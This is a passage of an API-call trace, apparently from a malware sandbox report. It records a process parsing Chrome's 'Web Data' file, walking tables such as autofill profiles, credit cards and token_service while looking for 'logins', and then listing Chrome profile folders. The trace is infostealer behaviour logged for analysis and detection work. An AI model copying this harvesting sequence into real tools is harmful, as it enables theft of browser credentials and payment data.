(uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.231] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.232] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x664350 [0079.232] LocalFree (hMem=0x6687b0) returned 0x0 [0079.232] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x670c38 [0079.232] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.232] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652cb0 [0079.232] LocalFree (hMem=0x670c38) returned 0x0 [0079.232] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x670c38 [0079.232] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.232] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652d58 [0079.232] LocalFree (hMem=0x670c38) returned 0x0 [0079.232] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.232] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x665780 [0079.232] LocalAlloc (uFlags=0x40, uBytes=0xc3) returned 0x6505e8 [0079.232] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.232] LocalAlloc (uFlags=0x40, uBytes=0xcb) returned 0x6640d8 [0079.232] LocalFree (hMem=0x6505e8) returned 0x0 [0079.232] LocalFree (hMem=0x670d78) returned 0x0 [0079.232] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.232] lstrcmpiA (lpString1="autofill_profile_emails", lpString2="logins") returned -1 [0079.232] LocalFree (hMem=0x664350) returned 0x0 [0079.232] LocalFree (hMem=0x652cb0) returned 0x0 [0079.232] LocalFree (hMem=0x652d58) returned 0x0 [0079.232] LocalFree (hMem=0x665780) returned 0x0 [0079.232] LocalFree (hMem=0x6640d8) returned 0x0 [0079.232] LocalFree (hMem=0x670e18) returned 0x0 [0079.232] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x69da, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.232] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.233] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 [0079.233] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f970 | out: ppstm=0x12f970*=0x64baa8) returned 0x0 [0079.233] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.233] LocalFree (hMem=0x655310) returned 0x0 [0079.233] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670e18 [0079.233] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.233] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670d78 [0079.233] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.233] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.233] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x665780 [0079.233] LocalFree (hMem=0x6687b0) returned 0x0 [0079.233] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x670c38 [0079.233] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.233] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652d58 [0079.233] LocalFree (hMem=0x670c38) returned 0x0 [0079.233] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x670c38 [0079.233] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.233] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652cb0 [0079.233] LocalFree (hMem=0x670c38) returned 0x0 [0079.233] IStream:RemoteSeek (in: This=0x64baa8, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.234] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x664350 [0079.234] LocalAlloc (uFlags=0x40, uBytes=0xc4) returned 0x6505e8 [0079.234] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6640d8 [0079.234] LocalFree (hMem=0x6505e8) returned 0x0 [0079.234] LocalFree (hMem=0x670e18) returned 0x0 [0079.234] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.234] lstrcmpiA (lpString1="autofill_profile_phones", lpString2="logins") returned -1 [0079.234] LocalFree (hMem=0x665780) returned 0x0 [0079.234] LocalFree (hMem=0x652d58) returned 0x0 [0079.234] LocalFree (hMem=0x652cb0) returned 0x0 [0079.234] LocalFree (hMem=0x664350) returned 0x0 [0079.234] LocalFree (hMem=0x6640d8) returned 0x0 [0079.234] LocalFree (hMem=0x670d78) returned 0x0 [0079.234] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x696a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.234] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 [0079.234] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f970 | out: ppstm=0x12f970*=0x64baa8) returned 0x0 [0079.234] LocalFree (hMem=0x655310) returned 0x0 [0079.234] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670d78 [0079.234] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670e18 [0079.234] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.234] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x664350 [0079.234] LocalFree (hMem=0x6687b0) returned 0x0 [0079.234] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x670c38 [0079.234] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652cb0 [0079.234] LocalFree (hMem=0x670c38) returned 0x0 [0079.234] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x670c38 [0079.234] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652d58 [0079.234] LocalFree (hMem=0x670c38) returned 0x0 [0079.234] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x665780 [0079.234] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x643c28 [0079.234] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x650450 [0079.234] LocalFree (hMem=0x643c28) returned 0x0 [0079.234] LocalFree (hMem=0x670d78) returned 0x0 [0079.234] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.234] lstrcmpiA (lpString1="autofill_profiles_trash", lpString2="logins") returned -1 [0079.234] LocalFree (hMem=0x664350) returned 0x0 [0079.234] LocalFree (hMem=0x652cb0) returned 0x0 [0079.235] LocalFree (hMem=0x652d58) returned 0x0 [0079.235] LocalFree (hMem=0x665780) returned 0x0 [0079.235] LocalFree (hMem=0x650450) returned 0x0 [0079.235] LocalFree (hMem=0x670e18) returned 0x0 [0079.235] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6f23, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.235] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 [0079.235] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f970 | out: ppstm=0x12f970*=0x64baa8) returned 0x0 [0079.235] LocalFree (hMem=0x655310) returned 0x0 [0079.235] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670e18 [0079.235] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670d78 [0079.235] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.235] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x665780 [0079.235] LocalFree (hMem=0x6687b0) returned 0x0 [0079.235] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x670c38 [0079.235] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652d58 [0079.235] LocalFree (hMem=0x670c38) returned 0x0 [0079.235] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x670c38 [0079.235] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652cb0 [0079.235] LocalFree (hMem=0x670c38) returned 0x0 [0079.235] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x664350 [0079.235] LocalAlloc (uFlags=0x40, uBytes=0x127) returned 0x630470 [0079.235] LocalAlloc (uFlags=0x40, uBytes=0x12f) returned 0x6305a8 [0079.235] LocalFree (hMem=0x630470) returned 0x0 [0079.235] LocalFree (hMem=0x670e18) returned 0x0 [0079.235] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.235] lstrcmpiA (lpString1="masked_credit_cards", lpString2="logins") returned 1 [0079.235] LocalFree (hMem=0x665780) returned 0x0 [0079.235] LocalFree (hMem=0x652d58) returned 0x0 [0079.235] LocalFree (hMem=0x652cb0) returned 0x0 [0079.235] LocalFree (hMem=0x664350) returned 0x0 [0079.235] LocalFree (hMem=0x6305a8) returned 0x0 [0079.235] LocalFree (hMem=0x670d78) returned 0x0 [0079.235] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6e29, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.235] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 [0079.235] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f970 | out: ppstm=0x12f970*=0x64baa8) returned 0x0 [0079.235] LocalFree (hMem=0x655310) returned 0x0 [0079.235] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670d78 [0079.236] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670e18 [0079.236] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.236] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x664350 [0079.236] LocalFree (hMem=0x6687b0) returned 0x0 [0079.236] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x670c38 [0079.236] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652cb0 [0079.236] LocalFree (hMem=0x670c38) returned 0x0 [0079.236] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x670c38 [0079.236] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652d58 [0079.236] LocalFree (hMem=0x670c38) returned 0x0 [0079.236] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x665780 [0079.236] LocalAlloc (uFlags=0x40, uBytes=0x140) returned 0x6506f0 [0079.236] LocalAlloc (uFlags=0x40, uBytes=0x148) returned 0x677388 [0079.236] LocalFree (hMem=0x6506f0) returned 0x0 [0079.236] LocalFree (hMem=0x670d78) returned 0x0 [0079.236] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.236] lstrcmpiA (lpString1="unmasked_credit_cards", lpString2="logins") returned 1 [0079.236] LocalFree (hMem=0x664350) returned 0x0 [0079.236] LocalFree (hMem=0x652cb0) returned 0x0 [0079.236] LocalFree (hMem=0x652d58) returned 0x0 [0079.236] LocalFree (hMem=0x665780) returned 0x0 [0079.236] LocalFree (hMem=0x677388) returned 0x0 [0079.236] LocalFree (hMem=0x670e18) returned 0x0 [0079.236] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x6895, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.236] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 [0079.236] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f970 | out: ppstm=0x12f970*=0x64baa8) returned 0x0 [0079.236] LocalFree (hMem=0x655310) returned 0x0 [0079.236] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670e18 [0079.236] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670d78 [0079.236] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.236] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x665780 [0079.236] LocalFree (hMem=0x6687b0) returned 0x0 [0079.236] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670c38 [0079.236] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x652d58 [0079.236] LocalFree (hMem=0x670c38) returned 0x0 [0079.236] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670c38 [0079.236] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x652cb0 [0079.237] LocalFree (hMem=0x670c38) returned 0x0 [0079.237] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x664350 [0079.237] LocalAlloc (uFlags=0x40, uBytes=0x11d) returned 0x6506d0 [0079.237] LocalAlloc (uFlags=0x40, uBytes=0x125) returned 0x6305a8 [0079.237] LocalFree (hMem=0x6506d0) returned 0x0 [0079.237] LocalFree (hMem=0x670e18) returned 0x0 [0079.237] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.237] lstrcmpiA (lpString1="server_card_metadata", lpString2="logins") returned 1 [0079.237] LocalFree (hMem=0x665780) returned 0x0 [0079.237] LocalFree (hMem=0x652d58) returned 0x0 [0079.237] LocalFree (hMem=0x652cb0) returned 0x0 [0079.237] LocalFree (hMem=0x664350) returned 0x0 [0079.237] LocalFree (hMem=0x6305a8) returned 0x0 [0079.237] LocalFree (hMem=0x670d78) returned 0x0 [0079.237] LocalFree (hMem=0x69e428) returned 0x0 [0079.237] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0xb000, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.237] LocalAlloc (uFlags=0x40, uBytes=0x10080) returned 0x69e428 [0079.237] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 [0079.237] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f970 | out: ppstm=0x12f970*=0x64baa8) returned 0x0 [0079.237] LocalFree (hMem=0x655310) returned 0x0 [0079.237] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670d78 [0079.237] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670e18 [0079.237] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.237] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x664350 [0079.237] LocalFree (hMem=0x6687b0) returned 0x0 [0079.237] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x665780 [0079.237] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670c38 [0079.237] LocalFree (hMem=0x665780) returned 0x0 [0079.237] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x665780 [0079.237] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670cd8 [0079.237] LocalFree (hMem=0x665780) returned 0x0 [0079.237] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x665780 [0079.237] LocalAlloc (uFlags=0x40, uBytes=0x1a0) returned 0x6522a8 [0079.237] LocalAlloc (uFlags=0x40, uBytes=0x1a8) returned 0x652450 [0079.237] LocalFree (hMem=0x6522a8) returned 0x0 [0079.237] LocalFree (hMem=0x670d78) returned 0x0 [0079.237] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.237] lstrcmpiA (lpString1="server_addresses", lpString2="logins") returned 1 [0079.238] LocalFree (hMem=0x664350) returned 0x0 [0079.238] LocalFree (hMem=0x670c38) returned 0x0 [0079.238] LocalFree (hMem=0x670cd8) returned 0x0 [0079.238] LocalFree (hMem=0x665780) returned 0x0 [0079.238] LocalFree (hMem=0x652450) returned 0x0 [0079.238] LocalFree (hMem=0x670e18) returned 0x0 [0079.238] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0xb317, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.238] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 [0079.238] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f970 | out: ppstm=0x12f970*=0x64baa8) returned 0x0 [0079.238] LocalFree (hMem=0x655310) returned 0x0 [0079.238] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670e18 [0079.238] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670cd8 [0079.238] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.238] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x665780 [0079.238] LocalFree (hMem=0x6687b0) returned 0x0 [0079.238] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x670c38 [0079.238] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652cb0 [0079.238] LocalFree (hMem=0x670c38) returned 0x0 [0079.238] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x670c38 [0079.238] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652d58 [0079.238] LocalFree (hMem=0x670c38) returned 0x0 [0079.238] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x664350 [0079.238] LocalAlloc (uFlags=0x40, uBytes=0x12f) returned 0x6305a8 [0079.238] LocalAlloc (uFlags=0x40, uBytes=0x137) returned 0x6506e8 [0079.238] LocalFree (hMem=0x6305a8) returned 0x0 [0079.238] LocalFree (hMem=0x670e18) returned 0x0 [0079.238] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.238] lstrcmpiA (lpString1="server_address_metadata", lpString2="logins") returned 1 [0079.238] LocalFree (hMem=0x665780) returned 0x0 [0079.238] LocalFree (hMem=0x652cb0) returned 0x0 [0079.238] LocalFree (hMem=0x652d58) returned 0x0 [0079.238] LocalFree (hMem=0x664350) returned 0x0 [0079.238] LocalFree (hMem=0x6506e8) returned 0x0 [0079.238] LocalFree (hMem=0x670cd8) returned 0x0 [0079.238] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0xb22d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.238] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 [0079.238] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f970 | out: ppstm=0x12f970*=0x64baa8) returned 0x0 [0079.239] LocalFree (hMem=0x655310) returned 0x0 [0079.239] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x670cd8 [0079.239] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670e18 [0079.239] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.239] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x664350 [0079.239] LocalFree (hMem=0x6687b0) returned 0x0 [0079.239] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x670c38 [0079.239] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x652d58 [0079.239] LocalFree (hMem=0x670c38) returned 0x0 [0079.239] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x670c38 [0079.239] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x652cb0 [0079.239] LocalFree (hMem=0x670c38) returned 0x0 [0079.239] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x665780 [0079.239] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x6505e8 [0079.239] LocalAlloc (uFlags=0x40, uBytes=0xe1) returned 0x64d460 [0079.239] LocalFree (hMem=0x6505e8) returned 0x0 [0079.239] LocalFree (hMem=0x670cd8) returned 0x0 [0079.239] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.239] lstrcmpiA (lpString1="autofill_sync_metadata", lpString2="logins") returned -1 [0079.239] LocalFree (hMem=0x664350) returned 0x0 [0079.239] LocalFree (hMem=0x652d58) returned 0x0 [0079.239] LocalFree (hMem=0x652cb0) returned 0x0 [0079.239] LocalFree (hMem=0x665780) returned 0x0 [0079.239] LocalFree (hMem=0x64d460) returned 0x0 [0079.239] LocalFree (hMem=0x670e18) returned 0x0 [0079.239] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0xb2c2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.239] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655310 [0079.239] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x12f970 | out: ppstm=0x12f970*=0x64baa8) returned 0x0 [0079.239] LocalFree (hMem=0x655310) returned 0x0 [0079.239] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670e18 [0079.239] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x670cd8 [0079.239] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6687b0 [0079.239] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x665780 [0079.239] LocalFree (hMem=0x6687b0) returned 0x0 [0079.239] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647b70 [0079.239] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x643c28 [0079.240] LocalFree (hMem=0x647b70) returned 0x0 [0079.240] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x670c38 [0079.240] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x652cb0 [0079.240] LocalFree (hMem=0x670c38) returned 0x0 [0079.240] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x664350 [0079.240] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x6687b0 [0079.240] LocalFree (hMem=0x670e18) returned 0x0 [0079.240] IUnknown:Release (This=0x64baa8) returned 0x0 [0079.240] lstrcmpiA (lpString1="autofill_sync_metadata", lpString2="logins") returned -1 [0079.240] lstrcmpiA (lpString1="autofill_model_type_state", lpString2="logins") returned -1 [0079.240] lstrcmpiA (lpString1="token_service", lpString2="logins") returned 1 [0079.240] lstrcmpiA (lpString1="token_service", lpString2="logins") returned 1 [0079.240] lstrcmpiA (lpString1="ie7_logins", lpString2="logins") returned -1 [0079.240] lstrcmpiA (lpString1="ie7_logins", lpString2="logins") returned -1 [0079.240] lstrcmpiA (lpString1="ie7_logins", lpString2="logins") returned -1 [0079.240] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.240] StrStrIA (lpFirst="Web Data-journal", lpSrch="Web Data") returned="Web Data-journal" [0079.240] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 62 [0079.240] lstrlenA (lpString="\\") returned 1 [0079.240] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0079.240] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 63 [0079.240] lstrlenA (lpString="Web Data-journal") returned 16 [0079.240] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Web Data-journal" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal" [0079.242] ReadFile (in: hFile=0x1e0, lpBuffer=0x12ea48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12fa48, lpOverlapped=0x0 | out: lpBuffer=0x12ea48*, lpNumberOfBytesRead=0x12fa48*=0x0, lpOverlapped=0x0) returned 1 [0079.242] CloseHandle (hObject=0x1e0) returned 1 [0079.242] IStream:RemoteSeek (in: This=0x64ba58, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.242] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0 [0079.242] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.243] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0079.243] lstrcmpiA (lpString1=".", lpString2="EVWhitelist") returned -1 [0079.243] lstrcmpiA (lpString1="..", lpString2="EVWhitelist") returned -1 [0079.243] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned 54 [0079.243] lstrlenA (lpString="\\") returned 1 [0079.243] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.243] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 55 [0079.243] lstrlenA (lpString="EVWhitelist") returned 11 [0079.243] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="EVWhitelist" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist" [0079.243] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned 66 [0079.243] lstrlenA (lpString="\\*.*") returned 4 [0079.243] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\*.*" [0079.243] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\*.*", lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0x6427e8 [0079.243] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.243] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0079.243] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.243] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.243] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0 [0079.243] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0079.243] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0079.243] lstrcmpiA (lpString1=".", lpString2="FileTypePolicies") returned -1 [0079.243] lstrcmpiA (lpString1="..", lpString2="FileTypePolicies") returned -1 [0079.243] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned 54 [0079.244] lstrlenA (lpString="\\") returned 1 [0079.244] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0079.244] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 55 [0079.244] lstrlenA (lpString="FileTypePolicies") returned 16 [0079.244] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="FileTypePolicies" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies" [0079.244] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned 71 [0079.244] lstrlenA (lpString="\\*.*") returned 4 [0079.244] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\*.*") 